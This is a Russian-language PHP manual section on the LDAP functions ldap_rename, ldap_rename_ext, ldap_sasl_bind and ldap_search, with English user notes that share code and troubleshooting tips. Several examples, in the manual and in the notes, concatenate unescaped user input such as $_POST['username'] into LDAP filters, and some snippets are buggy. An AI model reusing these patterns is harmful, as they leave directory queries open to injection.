Пустой фильтр не допустим. Если необходимо получить абсолютно всю информацию для этой записи, используйте фильтр objectClass=*. Если известно какие типы записи используются на сервере каталогов, то можно использовать соответствующий фильтр, такой как objectClass=inetOrgPerson.

attributes

Массив необходимых атрибутов, например, array("mail", "sn", "cn"). Обратите внимание, что "dn" всегда возвращается, независимо от того, какие типы атрибутов требуются.

Использование этого параметра намного более эффективно чем действие по умолчанию (которое возвращает все атрибуты и их присвоенные значения). Поэтому использование этого параметра нужно считать хорошей практикой.

attributes_only

Должен быть равен 1, только если требуются типы атрибута. Если равен 0, то, по умолчанию, выбираются и типы атрибутов и значения.

sizelimit

Позволяет ограничить количество выбранных записей. Установка этого параметра равным 0 означает, что ограничение отсутствует.

Замечание:

Этот параметр НЕ может переопределять предустановку sizelimit на стороне сервера. Хотя его можно установить ниже.

Некоторые хосты серверов каталогов будут сконфигурированы так, чтобы возвратить не больше, чем предварительно установленное число записей. Если это произойдёт, то сервер укажет, что только возвратил частичный набор результатов. Это также происходит, если используется этот параметр, чтобы ограничить количество выбранных записей.

timelimit

Устанавливает число секунд, ограничивающее процесс поиска. Установка этого параметра равным 0 означает, что ограничение отсутствует.

Замечание:

Этот параметр НЕ может переопределять предустановку timelimit на стороне сервера. Хотя его можно установить ниже.

deref

Определяет то, как псевдонимы должны быть обработаны во время поиска. Может быть одним из следующих:

  • LDAP_DEREF_NEVER - (по умолчанию) псевдонимы никогда не разыменовываются.
  • LDAP_DEREF_SEARCHING - псевдонимы должны быть разыменованы во время поиска, но не при определении местоположения базового объекта поиска.
  • LDAP_DEREF_FINDING - псевдонимы должны быть разыменованы при определении местоположения базового объекта, но не во время поиска.
  • LDAP_DEREF_ALWAYS - псевдонимы должны всегда разыменовываться.

controls

Массив управляющих констант LDAP для отправки в запросе.

Возвращаемые значения

Возвращает экземпляр LDAP\Result, массив экземпляров LDAP\Result или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Возвращает экземпляр LDAP\Result; ранее возвращался ресурс (resource).
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
4.0.5 | Была добавлена поддержка параллельного поиска. Для более подробной информации смотрите ldap_search().
7.3.0 | Добавлена поддержка параметра controls

User Contributed Notes

ehalls at gmail dot com 10-May-2018 02:10
For those debugging a wrapper, akin to symfony's client wrapper for these functions and since there is crap documentation on a full cycle of pulling a single record vs multiple, etc.

For this one:
YOU MUST call ldap_get_entries after this function call.

AND PLEASE if you implement a wrapper, prime it with the initial entry else it makes no sense to execute without returning something easily visible as successful.

WHEN query->execute() and you get a collection.. make sure the entry field in the collection has at least the first entry primed.. wasted so much time because it was looking empty.

AND this entire adapter needs to be wrapped with a less retarded usage pattern via an STL lib wrapper, mysticism( bad design) begone.
123.. not 4290234~"wds

Thanks for your time
guillaumeinnov24 at gmail dot com 11-Dec-2014 08:58
Unfortunately, userPasswords seem to be NOT retrievable with ldap_read();
ronny at nxc dot no 20-Mar-2013 03:14
The array in the attributes parameter needs to be an indexed array with numeric keys in ascending order. Like this:

Array
(
    [0] => this
    [1] => is
    [2] => a
    [3] => test
)

If there are missing keys in the array, then no result will be returned. This will not work:

Array
(
    [0] => this
    [1] => is
    [3] => test
)
me at example dot com 30-Aug-2007 12:23
In the previous example the

$ds = ldap.myserver.com // your ldap server

should be

$ds = ldap_connect( "ldap.myserver.com" ) ; // your ldap server
cnicholl at yahoo dot com 21-Dec-2005 11:21
Clarification of the ldap_read command syntax:

If you just want to pull certain attributes from an object and you already know it's dn, the ldap_read command can do this as illustrated below.  It will be less overhead than ldap_search.

The string base_dn which is normally used to set the top context for a recursive ldap_search is used slightly differently with this command.  It is used to specify the actual object with the full dn.  (Hopefully this saves someone else a couple hours trying this command out.)

<?php
$ds = ldap.myserver.com // your ldap server
  $dn = "cn=username,o=My Company, c=US"; //the object itself instead of the top search level as in ldap_search
  $filter="(objectclass=*)"; // this command requires some filter
  $justthese = array("ou", "sn", "givenname", "mail"); //the attributes to pull, which is much more efficient than pulling all attributes if you don't do this
      $sr=ldap_read($ds, $dn, $filter, $justthese);
          $entry = ldap_get_entries($ds, $sr);

echo $entry[0]["mail"][0] . "is the email address of the cn your requested";
echo $entry[0]["sn"][0] . "is the sn of the cn your requested";
ldap_close($ds);
?>

This prints out the specified users mail and surname for example.
sbarnum at mac dot com 18-Jul-2001 02:15
This differs from ldap_search() by not recursing down to sub-entries.  if you know the dn of the item you're looking for and only want info on that entry, use ldap_read() and pass it the full dn of the item you want.

It also seems that you'd alway want something like objectclass=* for the filter, since you're only searching on one entry.


Модифицировать название записи

  • « ldap_read
  • ldap_rename »
  • PHP Manual
  • Функции LDAP
  • Модифицировать название записи

ldap_rename_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_rename_ext — Модифицировать название записи

Описание

ldap_rename_ext(
LDAP\Connection $ldap,
string $dn,
string $new_rdn,
string $new_parent,
bool $delete_old_rdn,
?array $controls = null
): LDAP\Result|false

Делает то же самое, что и ldap_rename(), но возвращает экземпляр LDAP\Result для разбора с помощью ldap_parse_result().

Список параметров

Смотрите ldap_rename()

Возвращаемые значения

Возвращает экземпляр LDAP\Result или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Возвращает экземпляр LDAP\Result; ранее возвращался ресурс (resource).
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Смотрите также

  • ldap_rename() - Изменить имя записи
  • ldap_parse_result() - Извлечь информацию из результата

User Contributed Notes

There are no user contributed notes for this page.


Изменить имя записи

  • « ldap_rename_ext
  • ldap_sasl_bind »
  • PHP Manual
  • Функции LDAP
  • Изменить имя записи

ldap_rename

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_rename — Изменить имя записи

Описание

ldap_rename(
LDAP\Connection $ldap,
string $dn,
string $new_rdn,
string $new_parent,
bool $delete_old_rdn,
?array $controls = null
): bool

Переименование/перемещение записи, определённой dn.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

dn

Отличительное имя LDAP-объекта.

new_rdn

Новое RDN.

new_parent

Новая родительская/превосходящая запись.

delete_old_rdn

Если true, старые значения RDN удаляются, иначе старые значения RDN сохраняются как неуникальные значения записи.

controls

Массив управляющих констант LDAP для отправки в запросе.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Примечания

Замечание:

Эта функция в настоящее время работает только с LDAPv3. Возможно, вам придётся использовать ldap_set_option() перед привязкой, используя LDAPv3. Эта функция доступна только при использовании OpenLDAP 2.xx или Netscape Directory SDK x.x.

Смотрите также

  • ldap_rename_ext() - Модифицировать название записи
  • ldap_modify() - Псевдоним ldap_mod_replace

User Contributed Notes

web at davss dot com 11-Sep-2014 09:20
A thing to remember when using ldap_rename or any other method that is not doing just renaming but creating a new parent and moving children is that you'll loose your original entryUUID!
We wanted to do a local DB mapping for LDAP->DB user groups thinking that it would be the most stable resource identifier only to find out we were absolutely wrong.
Peter Kehl 09-Apr-2008 02:51
Here's some clarification about the parameters when renaming a container in Novell eDirectory:
- $new_rdn is in format "ou=new container name"
- newparent parameter is NULL - because we're renaming and not moving
- deleteoldrdn parameter if TRUE then old value of OU attribute is stored as a secondary/further value of LDAP OU attribute. Novell ConsoleOne shows it as 'Other Name' attribute.

$full_old_dn= "ou=Cuckoo,ou=London,ou=UK,ou=Europe,o=Happy";
$new_rdn= "ou=Cuckoo Group";

ldap_rename( $conn, $full_old_dn, $new_rdn, NULL, TRUE);
backports at gmail dot com 15-Jun-2007 07:26
Though clearly mentioned, the following had me in spin for a good 10 minutes.

Ensure:

if (!ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3)) {
   // do something horrible
}

has been set _before_ you actually bind :)
hyc at openldap dot org 06-Oct-2005 04:49
Contrary to Richard Esplin's statement, this *is* the correct function to use for renaming subtrees and moving entries from one place in the tree to another. Just that most LDAP server implementations don't support moving non-leaf entries.

E.g. In OpenLDAP, moving a non-leaf entry is only supported when using the back-hdb database backend. SunOne only has one database backend, and it apparently doesn't handle this type of operation.
venakis at ccf dot auth dot gr 18-Oct-2004 02:52
If you are using Sun Directory Server 5.2, please note that you can't use ldap_rename to move an entry. According to Sun's own documentation: "[...] At this point in time, Directory Server does not support the ability to use the modify DN operation to move an entry from one location in the directory tree to another location." (http://docs.sun.com/source/817-6707/resultcodes.html)
The problem is that php does not return any error and the operation seems to complete succesfully, except for the fact that nothing really happens. If you check the server logs, there will be an "error 53" entry (server is unwilling to perform).
hope this saves someone's couple of hours nasty searching...
Viper_SB at NOSPAMyahoo dot com 30-Jun-2004 02:41
Since this function isn't documented to well I thought I'd help out those trying to get this to work.

<?php
// $dn is the full DN of the entry you wish to move
$dn = 'cn=user1,ou=group1,dc=mydomain';
/*
    note that $newRdn IS NOT a full DN, it is only the start
    I've NOT gotten it to change attributes for the RDN
    but that could just be my schema
*/
$newRdn = 'cn=user2';
// $newparent IS the full DN to the NEW parent DN that you want to move/rename to
$newParent = 'ou=group2,dc=mydomain';
ldap_rename($link, $dn, $newRdn, $newParent, true);
?>

Like I said above I haven't been able to get it to rename to a DIFFERENT attribute so deleteoldrdn has no affect on it.
Richard Esplin 15-Nov-2003 06:37
ldap_rename can only move leaf nodes of the directory tree. If your ldap entry has any child entries, then ldap_rename is not the tool that you need. We needed to change usernames, but that alters the dn. ldap_rename wouldn't work because each of our user ldap entries has a couple associated child entries. We had to write a function to recursively copy the subtree to the new location, and then delete the original version. Here is the basic algorithm:

function recursive_move($old_username, $new_username)
    ldap_search on the old username to get the correct entry
    ldap_get_attributes to get an array of values from the ldap entry
    foreach attribute in array, replace occurences of $old_username with $new_username
    ldap_add the attribute array into the new location
    ldap_modify any additional attributes
    ldap_list each child entry
    call function recursive_move on each child
    ldap_delete current entry
    return
alex at netflex dot nl 16-Oct-2002 08:29
Works also with eDirectory 8 (NW6).

If you are moving a user, remember that you also change the uid!
04-Apr-2002 03:10
To get this function working make sure that the value for $newrdn is relative.


Привязать к LDAP директории, используя SASL

  • « ldap_rename
  • ldap_search »
  • PHP Manual
  • Функции LDAP
  • Привязать к LDAP директории, используя SASL

ldap_sasl_bind

(PHP 5, PHP 7, PHP 8)

ldap_sasl_bind — Привязать к LDAP директории, используя SASL

Описание

ldap_sasl_bind(
LDAP\Connection $ldap,
?string $dn = null,
?string $password = null,
?string $mech = null,
?string $realm = null,
?string $authc_id = null,
?string $authz_id = null,
?string $props = null
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.0.0 | dn, password, mech, realm, authc_id, authz_id and props теперь допускают значение null.

Примечания

Замечание: Требование
ldap_sasl_bind() требует SASL поддержки (sasl.h). Проверьте, что вы использовали --with-ldap-sasl при конфигурировании PHP, в противном случае эта функция будет не определена.

User Contributed Notes

mbaynton 16-Jul-2014 03:01
A hint for debugging bind failures in  your environment: many of the warnings PHP issues from this mehod begin "PHP Warning:  ldap_sasl_bind(): Unable to bind to server: [reason]" where [reason] can be a variety of strings. This makes it appear the failure originates with ldap_sasl_bind, but all [reason]s really come from the underlying c function ldap_sasl_interactive_bind_s. That function is used by lots of software besides php, so I've found a greater wealth of troubleshooting information by searching the web for "ldap_sasl_interactive_bind_s [reason]"
devel at romanr dot info 10-Oct-2012 08:16
There is some reenterability bug: you can't use this function several times in a single process. PHP process (apache or fastcgi) should be restarted. Consider PHP_FCGI_MAX_REQUESTS=1
dwhite at olp dot net 22-Sep-2007 05:30
With the patch introduced in the bug below (which has been included in CVS), the parameters for this function should be:

bool ldap_sasl_bind ( resource $link [, string $binddn [, string $password [, string $sasl_mech [, string $sasl_realm [, string $sasl_authc_id [, string $sasl_authz_id [, string $props]]]]]]] )

Some example calls:

$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy');

With authz_id, specifying a dn:
$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy', 'dn:uid=tommy,ou=people,dc=example,dc=com');

With authz_id, specifying a SASL username:
$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy', 'u:tommy');

Also, since SASL authentication was introduced in LDAP version 3,
you may need to explicitly set the version number with:
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
dahgdevash at gmail dot com 25-May-2007 10:44
Bug , the function parameters are sent incorrectly to the server
Look at:
http://bugs.php.net/bug.php?id=39291


Поиск по LDAP дереву

  • « ldap_sasl_bind
  • ldap_set_option »
  • PHP Manual
  • Функции LDAP
  • Поиск по LDAP дереву

ldap_search

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_search — Поиск по LDAP дереву

Описание

ldap_search(
LDAP\Connection|array $ldap,
array|string $base,
array|string $filter,
array $attributes = [],
int $attributes_only = 0,
int $sizelimit = -1,
int $timelimit = -1,
int $deref = LDAP_DEREF_NEVER,
?array $controls = null
): LDAP\Result|array|false

Выполняет поиск для указанного фильтра в директории с границами LDAP_SCOPE_SUBTREE. Эквивалентно поиску по всему каталогу.

Также можно выполнять параллельный поиск. В этом случае первым аргументом должен быть массив экземпляров LDAP\Connection, а не один экземпляр. Если поиск не должен использовать один и тот же базовый DN и фильтр, в качестве аргументов можно передать массив базовых DN и/или массив фильтров. Количество элементов в массивах должно совпадать с количеством экземпляров LDAP\Connection, поскольку первые записи массивов используются для одного поиска, вторые — для другого и так далее. При параллельном поиске возвращается массив экземпляров LDAP\Result, за исключением возникновения ошибки, когда возвращается значение false.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

base

Базовое DN для каталога.

filter

Поисковый фильтр может быть простым или расширенным, используя булевы операторы в формате, описанном в документации LDAP (смотрите » Netscape Directory SDK или » RFC4515 для полной информации о фильтрах).

attributes

Массив необходимых атрибутов, например, array("mail", "sn", "cn"). Обратите внимание, что "dn" всегда возвращается, независимо от того, какие типы атрибутов требуются.

Использование этого параметра намного более эффективно, чем действие по умолчанию (которое должно возвратить все атрибуты и присвоенные им значения). Поэтому использование этого параметра считается хорошей практикой.

attributes_only

Должен быть равен 1, если требуются только типы атрибута. Если равен 0, то, по умолчанию, выбираются и типы атрибутов и значения.

sizelimit

Позволяет ограничить количество выбранных записей. Установка этого параметра равным 0 означает, что ограничение отсутствует.

Замечание:

Этот параметр НЕ может переопределять предустановку sizelimit на стороне сервера. Хотя его можно установить ниже.

Некоторые хосты серверов каталогов будут сконфигурированы так, чтобы возвратить не больше, чем предварительно установленное число записей. Если это произойдёт, то сервер укажет, что возвратил только частичный набор результатов. Это также происходит, если Вы используете этот параметр чтобы ограничить количество выбранных записей.

timelimit

Устанавливает число секунд, ограничивающее процесс поиска. Установка этого параметра равным 0 означает, что ограничение отсутствует.

Замечание:

Этот параметр НЕ может переопределять предустановку timelimit на стороне сервера. Хотя его можно установить ниже.

deref

Определяет как псевдонимы должны быть обработаны во время поиска. Может быть одним из следующих:

  • LDAP_DEREF_NEVER - (по умолчанию) псевдонимы никогда не разыменовываются.
  • LDAP_DEREF_SEARCHING - псевдонимы должны быть разыменованы во время поиска, но не при определении местоположения базового объекта поиска.
  • LDAP_DEREF_FINDING - псевдонимы должны быть разыменованы при определении местоположения базового объекта, но не во время поиска.
  • LDAP_DEREF_ALWAYS - псевдонимы должны разыменовываться всегда.

controls

Массив управляющих констант LDAP для отправки в запросе.

Возвращаемые значения

Возвращает экземпляр LDAP\Result, массив экземпляров LDAP\Result или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Возвращает экземпляр LDAP\Result; ранее возвращался ресурс (resource).
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Примеры

Пример ниже получает организационную единицу, фамилию, имя и адрес электронной почты для всех людей в "My Company", где фамилия или имя содержат подстроку $person. Этот пример использует логический фильтр, чтобы сказать серверу, что нужно искать информацию больше, чем в одном атрибуте.

Пример #1 LDAP поиск

<?php
// $ds допустимый экземпляр LDAP\Connection

// $person всё или часть имени человека, н-р "Jo"

$dn = "o=My Company, c=US";
$filter="(|(sn=$person*)(givenname=$person*))";
$justthese = array("ou", "sn", "givenname", "mail");

$sr=ldap_search($ds, $dn, $filter, $justthese);

$info = ldap_get_entries($ds, $sr);

echo $info["count"]." записей возвращено\n";
?>

User Contributed Notes

peter dot mlich at volny dot cz 05-Jun-2020 06:57
Example code from my ldap class.

public function query($_filter, $_att, $_ref=2, $count_bool=true)
    {
    $fn     = 'query';
    $config = $this->config;
    $conn   = $this->conn;
    if (!$conn)
        {return $this->errorConnection($fn);}
    ldap_set_option($conn, LDAP_OPT_DEREF, $_ref);
    $result = ldap_search($conn, $config['baseDn'], $_filter, $_att);    //  or die(ldap_error($conn))
    if ($result===false)
        {
        $this->error("Search error, neexistuje!");
        return false;
        }
    $count = ldap_count_entries($conn, $result);
    if ($count_bool && $count!=1)
        {
        $this->error("Search error, neni unikatni! count=".$count);
        ldap_free_result($result);
        return false;
        }
    $data = ldap_get_entries($conn, $result);
    ldap_free_result($result);
    return $data;
    }

// ---

    $filter = "(&(objectclass=person)(cn=" . $user_name . "))";
    $att    = array(
        'uid',
        'workforceID',
        'employeeID',
        'givenName',
        'sn',
        'mail'
        );
    $data   = $this->query($filter, $att, 2, true);
steven_bauman at outlook dot com 27-Jan-2020 03:39
Can an example using the new $serverctrls parameter please be added? I have no idea how to use this.
anze dot pratnemer at fe dot uni-lj dot si 28-Jan-2019 08:59
While developing a plugin, I had to search users on LDAP server using ldap_search() command and it was not finding them, but ldapsearch command in unix shell (ubuntu) did.

Problem was few lines above in my code, around ldap_connect(). For server address I input ldap://server.hostname, which turned to be the culprit.

Once I used only server.hostname, without protocol (ldap://), users where found and shown correctly.
mike at remi-designs dot net 13-Jun-2016 10:27
I ran into the problem, that the attribute I was search for had the matching rule of "exactMatch".

Example:
E-Mail Address is stored in mixed case: John.Doe@example.com

LDAP Search will not retrieve any values when the user enters: john.doe@example.com

Solution: instead of comparing user input and attribute value by

<?php
if($data[$i]['mail'][0] == $username) {
    // this will run into nothing
}
?>

use strcasecmp instead:

<?php
if(strcasecmp($data[$i]['mail'][0], $username) == 0) {
    // works
}
jayleno at yahoo dot com 15-May-2013 06:28
<?php
set_time_limit(30);
error_reporting(E_ALL);
ini_set('error_reporting', E_ALL);
ini_set('display_errors',1);

// config
$ldapserver = 'svr.domain.com';
$ldapuser      = 'administrator';
$ldappass     = 'PASSWORD_HERE';
$ldaptree    = "OU=SBSUsers,OU=Users,OU=MyBusiness,DC=myDomain,DC=local";

// connect
$ldapconn = ldap_connect($ldapserver) or die("Could not connect to LDAP server.");

if($ldapconn) {
    // binding to ldap server
    $ldapbind = ldap_bind($ldapconn, $ldapuser, $ldappass) or die ("Error trying to bind: ".ldap_error($ldapconn));
    // verify binding
    if ($ldapbind) {
        echo "LDAP bind successful...<br /><br />";

        $result = ldap_search($ldapconn,$ldaptree, "(cn=*)") or die ("Error in search query: ".ldap_error($ldapconn));
        $data = ldap_get_entries($ldapconn, $result);

        // SHOW ALL DATA
        echo '<h1>Dump all data</h1><pre>';
        print_r($data);
        echo '</pre>';

        // iterate over array and print data for each entry
        echo '<h1>Show me the users</h1>';
        for ($i=0; $i<$data["count"]; $i++) {
            //echo "dn is: ". $data[$i]["dn"] ."<br />";
            echo "User: ". $data[$i]["cn"][0] ."<br />";
            if(isset($data[$i]["mail"][0])) {
                echo "Email: ". $data[$i]["mail"][0] ."<br /><br />";
            } else {
                echo "Email: None<br /><br />";
            }
        }
        // print number of entries found
        echo "Number of entries found: " . ldap_count_entries($ldapconn, $result);
    } else {
        echo "LDAP bind failed...";
    }

}

// all done? clean up
ldap_close($ldapconn);
?>
Jean-Loup 01-Feb-2012 06:27
Example of parallel search :

<?php
$basedn=array('dmdName=users,dc=foo,dc=fr','dmdName=users,dc=bar,dc=com');  // two basedn
$filter='(&(objectClass=inetOrgPerson)(uid=*))';  // single filter
$attributes=array('dn','uid','sn');

$cnx = ldap_connect('localhost',389); // single connection
ldap_set_option($cnx, LDAP_OPT_PROTOCOL_VERSION, 3);

ldap_bind($cnx,'uid=root,dc=foo,dc=fr','password');  // authentication on two BDB
ldap_bind($cnx,'uid=root,dc=bar,dc=com','password');

$search = ldap_search(array($cnx,$cnx),$basedn,$filter,$attributes);  // search

// result
for($i=0;$i<count($search);$i++){
    print_r(ldap_get_entries($cnx,$search[$i]));
    print "\n";
}
?>
info at acpower dot biz 19-Sep-2011 03:07
I'm a newbie, so I hope this helps some other newbie with a head scratcher...

This code returned an error of 'No Such Object':

<?php

    $search = ldap_search ($ldapcon, "cn=admin,dc=acpower,dc=biz", "(filters)");

?>

I took out the cn, and magic! it works:

<?php

    $search = ldap_search ($ldapcon, "dc=acpower,dc=biz", "(filters)");

?>
nick 01-Sep-2011 11:09
Results from ActiveDirectory may be ordered by objectSid.
We can get all users for each page size by modify filter.

<?php
// ... connect to ldap
$lastsid='';
while (1) {
    $filter = '(objectClass=user)';
    if (strlen($lastsid)) {
        list($v)=array_values(unpack('V',substr($lastsid,24))); // id for user.
        $s = substr($lastsid,0,24).pack('V',1+$v); // next sid.
        $s = preg_replace('/../','\\\\$0',bin2hex($s)); // escape for fiter
        $filter = '(&'.$filter.'(objectSid>='.$s.'))'; // fiter for next entries.
    }
    $res = ldap_search($ldap,$basedn,$filter,array('objectSid','cn'));
    if (!ldap_count_entries($ldap,$res)) {
        break;
    }
    for ($ent=ldap_first_entry($ldap,$res); $ent; $ent=ldap_next_entry($ldap,$ent)) {
        list($lastsid) = ldap_get_values_len($ldap,$ent,'objectSid');
    }
}
?>
Arnold 11-May-2011 01:35
I have been working on a script where I needed to get all the users who were member of a specific MS AD group. Because of PHP bug #42060 ( http://bugs.php.net/bug.php?id=42060 ) I could not get all the users back who were member of the group.
After googling for a day I found an article and a patch but it required that I downloaded the source code for php 5.1.6 or 5.2.10 run the patch and than recompile the code to fix the problem.
Problem was
1) I am not a Linux goeroe so I was not very comfortable doing this....
2) I am running the script on a production machine with other code using PHP and did not know what the consequence would bee for that code.
3) I could not update PHP anymore because in newer versions this patch would probably not work any more.

But yesterday I saw the light and wrote some code to get around this problem, maybe other people can use it that have the same problem.

<?PHP
$startFilter        = "(&(memberOf=" .$ADGroup. "))";
$startResults        = ldap_search($ldapconnect, $userBase, $startFilter, $attr);
$countResult        = ldap_count_entries($ldapconnect,$startResults);

IF($countResult == 1000 OR $countResult == 1500)
{
    // loop trough the number 97-122 (ASCII number for the characters a-z)
    For($a=97;$a<=122;$a++)
    {
        // translate the number to a character
        $character            = chr($a);
        // the new search filter withs returns all users with a last name starting with $character
        $filter            = "(&(sn=$character*)(memberOf=$ADGroup))";
        $results        = ldap_search($ldapconnect, $userBase, $filter, $attr);
        $countResult2    = ldap_count_entries($ldapconnect,$results);

        // See if the search for all users starting with a specific character still hits the search limit
        // if so than do a new search to find all the users where the last name starts with "aa" and
        // than with "ab", "ac" etc. etc
        // In the best case we can now find 675.324 users per group when the search limit is 1000
        // ((26 * 999  for the fist character) * 26 for the second character)
        // and 1.013.324 when the search limit is 1500
        If($countResult2 == 1000 or $countResult2 == 1500)
        {
            For($b=97;$b<=122;$b++)
            {
                $character2    = chr($b);
                $filter2    = "(&(sn=$character$character2*)(memberOf=$ADGroup))";
                $results2    = ldap_search($ldapconnect, $userBase, $filter2, $attr);
                $count2        = ldap_count_entries($ldapconnect,$results2);
                $entries2    = ldap_get_entries($ldapconnect,$results2);

                // do your thing
            }
        }
        Else
        {
            $entries            = ldap_get_entries($ldapconnect,$results);
            // do your thing
        }
    }
}
else
{
    $entries            = ldap_get_entries($ldapconnect,$startResults);
    // do your thing
}
?>
ben _at_ onshop.co.uk 19-Jan-2010 02:11
Following from my note of 11-Nov-2009 06:56 regarding DN issues when using LDAP instead of the Global Catalog when querying AD, further investigation was showing that although the results were in the packet, I was getting an error instead:

'Search: Can't contact LDAP server' AKA Error 81.

Using more detailed analysis:

ldap_get_option($ds,LDAP_OPT_ERROR_STRING,$error);

echo $error

Displayed:

Referral: ldap://DomainDnsZones.defg.de.bc.ac.uk/ DC=DomainDnsZonesDC=defg,DC=de,DC=abc,DC=ac,DC=uk

By using trial and error, the error went away and results returned when using:

ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ben _at_ onshop_co_uk 11-Nov-2009 10:24
Example to illustrate searching more than one DN (multiple DNs):

<?php
$ds=ldap_connect($ldapserver);

$dn[]='OU=ABC,DC=xyz,DC=ac,DC=uk';
$dn[]='OU=DEF,DC=xyz,DC=ac,DC=uk';

$id[] = $ds;
$id[] = $ds;

$filter = 'samaccountname='.$_POST['username'];

$result = ldap_search($id,$dn,$filter);

$search = false;

foreach ($result as $value) {
    if(ldap_count_entries($ds,$value)>0){
        $search = $value;
        break;
    }
}

if($search){
    $info = ldap_get_entries($ds, $search);
}else{
    $info = 'No results found';
}
?>
chrisbloom7 at gmail dot com 08-Aug-2007 01:18
Here are a couple of resources for proper construction of filters.

http://msdn2.microsoft.com/En-US/library/aa746475.aspx

http://technet.microsoft.com/en-us/library/aa996205.aspx

Before finding these I had been stumped for hours on how to do something like "all users starting with "a" except those from OU 'foo'"
Allie 06-Mar-2007 02:38
I just posted on the ldap_bind, but I figured it couldn't hurt here since this was the first place I stopped when trying to figure out my problem.  My error pointed to ldap_search, but specifying the ldap_connect port was the fix.

When you want to search the entire directory for MS AD, you must specify port 3268 in your bind.  This is also true for apache auth_ldap.

 $ldapserver = ldap_connect($server,3268);
27-Jan-2006 03:53
HOWTO list LDAP users.

This CODE list one user from LDAP tree, but I' like list all user from LDAP one ou=Organization

<?php

$ldaprdn = 'cn=user,dc=domain,dc=org';
$ldappass = 'password';
$sdn = 'cn=user,ou=group,dc=domain,dc=org';

$ldapconn = ldap_connect("ldap://localhost", 389)
or die("Not connect: $ldaphost ");

if ($ldapconn) {

// binding to ldap server
$ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

// verify binding
if ($ldapbind) {
$filter="uid=*";
$justthese = array("uid");

$sr=ldap_read($ldapconn, $srdn, $filter, $justthese);
$entry = ldap_get_entries($ldapconn, $sr);

} else {
echo "LDAP conn ok...";
}

}

ldap_close($ldapconn);

?>
<?php
echo $entry[0]["mail"][0] . " mail adress ";
echo $entry[0]["sn"][0] . " Name ";
?>
cruzfern at chuchuwa dot com dot ar 30-Aug-2005 09:14
The internal attributes (like createTimestamp, modifyTimestamp, etc), don't come by default (when the optional parameter attributes is not set). You have to specify it:

<?
$r=ldap_search($ds,$base,$filter,array("createTimestamp"));
?>
fmouse at fmp dot com 01-Mar-2005 10:53
It appears that the Netscape Directory SDK (developer.netscape.com) referenced for LDAP filter information is no longer accepting connections.   The A copy of RFC 2254 which defines the standard for string representations of LDAP filters can be found  at http://www.ietf.org/rfc/rfc2254.txt
openldap at mail dot doris dot cc 11-Feb-2005 07:54
PHP 4.3.10

I was trying to do an ldapsearch without a basedn.  First, I tried with ' ', as suggested above, but it gave me invalid dn syntax error.

ie:
$sr=ldap_search($ds, ' ', $filter);
Warning: ldap_search(): Search: Invalid DN syntax in ...

Then I changed it to
$sr=ldap_search($ds, "", $filter);

Which gave me the following error:
Warning: ldap_search(): Search: No such object in ...

With that I then modified my ldap.conf file and commented out the BASE field
#BASE   dc=example, dc=com

Then it worked!

So it looks like if you supply a blank basedn, then it will use your default basedn in ldap.conf.
rsu_friend at yahoo dot com 11-Feb-2005 01:03
I was doing a ldap_search with
$searchbasedn = "miDomainName=" . $_SESSION['selectDomain'] ."," . LDAP_DOMAINBASE;
$filter = "(&(mpsAccountNumber=". $acctNumber .")(objectclass=mpsAccountDetails))";
$attributes = array("mpsparentchild");

 $sr = ldap_search($ldapconn, $searchbasedn, $filter,$attributes);

For some reasone this search was failing
but I was able to do successful search only when I gave the search filter as
$filter = "(&(mpsAccountNumber= $acctNumber )(objectclass=mpsAccountDetails))";

I did not get why the ldap_search was not able to search in the first case.
sema at technion dot ac dot il 04-Sep-2004 10:54
In order to perform the searches on Windows 2003 Server Active Directory you have to set the LDAP_OPT_REFERRALS option to 0:

ldap_set_option($ldap, LDAP_OPT_REFERRALS, 0);

Without this, you will get "Operations error" if you try to search the whole AD schema (using root of the domain as a $base_dn).

As opposed to Windows 2000 Server, where this option was optional and only increased the performance.
chester at the dot underground dot com dot au 20-Nov-2003 01:45
If you are searching active directory and are experiencing lag or time outs, it may be that you are being given ldap referrals from the ldap server. The following code will disable this.

<?
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
?>
sembiance at cosmicrealms dot com 16-Nov-2003 06:15
When searching for BINARY data (such as an Active Directory objectGUID) you need to escape each hexadecimal character with a backslash.

The following command line run of ldapsearch shows:
ldapsearch -b "dc=blahblah,dc=com" "(objectGUID=\AE\C3\23\35\F7)"

In PHP, you need to escape the escape for the backslash:
